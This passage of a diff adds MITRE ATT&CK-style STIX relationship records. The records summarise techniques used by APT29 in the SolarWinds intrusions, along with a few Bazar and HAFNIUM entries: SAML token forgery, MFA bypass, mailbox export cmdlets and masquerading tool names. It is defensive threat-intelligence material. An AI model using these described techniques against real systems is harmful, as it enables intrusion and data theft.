"[APT29](https://attack.mitre.org/groups/G0016) has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--c728d182-02d4-46a3-9c34-6ff0beacd274", + "type": "relationship", + "modified": "2021-04-16T21:33:50.793Z", + "created": "2021-04-16T21:33:50.793Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "external_references": [ + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) created tokens using compromised SAML signing certificates.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", + "relationship_type": "uses", + "id": "relationship--aa3b0f22-8525-4009-9273-2ad1ca6dd8dd", + "type": "relationship", + "modified": "2021-04-16T21:33:50.779Z", + "created": "2021-04-16T21:33:50.779Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--796f56ac-a97a-4038-a005-1523a185e059", + "type": "relationship", + "modified": "2021-04-16T21:33:50.813Z", + "created": "2021-04-16T21:33:50.813Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) removed evidence of email export requests using Remove-MailboxExportRequest.(Citation: Volexity SolarWinds) They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--47deef6a-6f62-4cd7-9601-4edcd7c13125", + "type": "relationship", + "modified": "2021-04-16T21:33:50.786Z", + "created": "2021-04-16T21:33:50.786Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They have also used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--3e2dc733-ee2e-4c5a-b65b-3de0f86b2da0", + "type": "relationship", + "modified": "2021-04-16T21:33:50.816Z", + "created": "2021-04-16T21:33:50.816Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) renamed a version of [AdFind](https://attack.mitre.org/software/S0552) to sqlceip.exe or csrss.exe in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--6828b200-b067-4667-9a77-9e434a625eaf", + "type": "relationship", + "modified": "2021-04-16T21:33:50.834Z", + "created": "2021-04-16T21:33:50.834Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used the Get-ManagementRoleAssignment PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--5c3df273-cd0b-45ed-b717-d55b49ae596e", + "type": "relationship", + "modified": "2021-04-16T21:33:50.795Z", + "created": "2021-04-16T21:33:50.795Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) was able to get [SUNBURST](https://attack.mitre.org/software/S0559) signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--ada6cb59-1735-492a-a9a2-f03ca8125e29", + "type": "relationship", + "modified": "2021-04-16T21:33:50.797Z", + "created": "2021-04-16T21:33:50.797Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained information about the configured Exchange virtual directory using Get-WebServicesVirtualDirectory.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--40b9a9cb-1242-4c3f-9e4b-9e1360dc02b2", + "type": "relationship", + "modified": "2021-04-16T21:33:50.815Z", + "created": "2021-04-16T21:33:50.815Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "external_references": [ + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has added credentials to OAuth Applications and Service Principals.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ", + "relationship_type": "uses", + "id": "relationship--503b8bba-7a0c-4923-a209-21b4b6f560c9", + "type": "relationship", + "modified": "2021-04-16T21:33:50.830Z", + "created": "2021-04-16T21:33:50.830Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--7f3ab5d7-b58e-48a4-b839-082cc8160203", + "type": "relationship", + "modified": "2021-04-16T21:33:50.832Z", + "created": "2021-04-16T21:33:50.832Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--92f74577-0751-447a-a6e5-66d2327be1c5", + "type": "relationship", + "modified": "2021-04-16T21:33:50.931Z", + "created": "2021-04-16T21:33:50.931Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) collected emails from specific individuals, such as executives and IT staff, using New-MailboxExportRequest followed by Get-MailboxExportRequest.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--9a891657-d9e7-41b5-92b0-2424167e10d3", + "type": "relationship", + "modified": "2021-04-16T21:33:50.932Z", + "created": "2021-04-16T21:33:50.932Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has downloaded additional tools, such as [TEARDROP](https://attack.mitre.org/software/S0560) malware and [Cobalt Strike](https://attack.mitre.org/software/S0154), to a compromised host following initial access.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--3c89c7b8-facc-4225-94ba-4a5126a31adc", + "type": "relationship", + "modified": "2021-04-16T21:33:50.934Z", + "created": "2021-04-16T21:33:50.934Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used cmd.exe to execute commands on remote machines.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--0c502277-69af-49df-b1fb-fb94690e37f9", + "type": "relationship", + "modified": "2021-04-16T21:33:50.936Z", + "created": "2021-04-16T21:33:50.936Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) developed [SUNSPOT](https://attack.mitre.org/software/S0562), [SUNBURST](https://attack.mitre.org/software/S0559), [TEARDROP](https://attack.mitre.org/software/S0560), and [Raindrop](https://attack.mitre.org/software/S0565); [SUNSPOT](https://attack.mitre.org/software/S0562) and [SUNBURST](https://attack.mitre.org/software/S0559) were tailored to be incorporated into SolarWind's Orion software library.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--4e7404a5-2d19-48cc-b906-ab1aca4f4b08", + "type": "relationship", + "modified": "2021-04-16T21:33:50.927Z", + "created": "2021-04-16T21:33:50.927Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) obtained a list of users and their roles from an Exchange server using Get-ManagementRoleAssignment.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--3a611251-b7c8-482d-96e3-5795b58bcd9e", + "type": "relationship", + "modified": "2021-04-16T21:33:50.987Z", + "created": "2021-04-16T21:33:50.987Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--27105f46-f5a8-4a9d-96b0-9b0837a23331", + "type": "relationship", + "modified": "2021-04-16T21:33:50.993Z", + "created": "2021-04-16T21:33:50.993Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) named tasks \\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager in order to appear legitimate.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--0b5dff22-ab33-495c-b65f-97a0f7e6cfd5", + "type": "relationship", + "modified": "2021-04-16T21:33:50.998Z", + "created": "2021-04-16T21:33:50.998Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) gained initial network access to some victims via a trojanized update of SolarWinds Orion software.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--489601ef-9902-4213-a442-1b9b1439fec8", + "type": "relationship", + "modified": "2021-04-16T21:33:51.011Z", + "created": "2021-04-16T21:33:51.011Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) has manually loaded ntdll from disk in order to identity and remove API hooks set by security products.(Citation: NCC Group Team9 June 2020)\t", + "relationship_type": "uses", + "id": "relationship--532db73a-7b3e-44a5-9115-6c366766a756", + "type": "relationship", + "modified": "2021-04-16T21:43:13.711Z", + "created": "2021-04-16T21:43:13.711Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534)'s loader can delete scheduled tasks created by a previous instance of the malware.(Citation: NCC Group Team9 June 2020)\t", + "relationship_type": "uses", + "id": "relationship--5ce164a0-967d-4232-860d-7e5903bb3267", + "type": "relationship", + "modified": "2021-04-16T21:43:13.764Z", + "created": "2021-04-16T21:43:13.764Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "source_name": "FireEye APT29 Nov 2018" + }, + { + "source_name": "ESET Dukes October 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to click on a malicous link.(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)", + "relationship_type": "uses", + "id": "relationship--616bf309-ed87-4573-8640-416e6f05285d", + "type": "relationship", + "modified": "2021-04-16T21:44:38.728Z", + "created": "2021-04-16T21:44:38.728Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "revoked-by", + "id": "relationship--75f8b97d-73fc-4ba1-8d29-e5d81a929b4f", + "type": "relationship", + "modified": "2021-04-19T14:20:46.711Z", + "created": "2021-04-19T14:20:46.711Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used TCP for C2.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--f503c254-b86c-433e-8107-585c53f23b6e", + "type": "relationship", + "modified": "2021-04-19T17:50:00.126Z", + "created": "2021-04-19T17:50:00.126Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used ASCII encoding for C2 traffic.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--f8fe4311-f367-42bb-a51d-688753d0218b", + "type": "relationship", + "modified": "2021-04-19T17:50:00.119Z", + "created": "2021-04-19T17:50:00.119Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": 